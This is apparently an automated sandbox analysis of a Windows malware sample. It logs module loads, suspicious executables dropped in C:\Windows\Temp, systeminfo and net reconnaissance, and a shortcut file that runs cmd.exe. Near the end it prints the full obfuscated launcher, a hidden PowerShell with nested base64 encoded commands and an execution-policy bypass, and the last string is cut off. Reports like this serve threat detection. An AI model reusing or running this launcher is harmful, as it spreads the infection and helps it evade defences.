Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: userenv.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit.exe	Section loaded: authz.dll
Source: C:\Windows\regedit.exe	Section loaded: aclui.dll
Source: C:\Windows\regedit.exe	Section loaded: ulib.dll
Source: C:\Windows\regedit.exe	Section loaded: clb.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: WXahq3ZEss.lnk

LNK file: ..\..\..\Windows\system32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3730614240.0000000DB7735000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3792697952.0000012F5029A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: !n.pdbPv source: powershell.exe, 00000008.00000002.3730614240.0000000DB7735000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("T3cwS0lDQWdJR2xtS0NSbmJHOWlZV3c2UmtoR1NGVkpTVmhZUVM1c1pXNW5kR2dnTFdkMElEQXBEUW9nSUNBZ2V3MEtJQ0FnSUNBZ0lDQWtaMnh2WW1Gc09rWklSa2hWU1VsWVdFRWdLejBnSWkwdExTMHRMUzB0TFMwaU93MEtJQ0FnSUNBZ0

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAE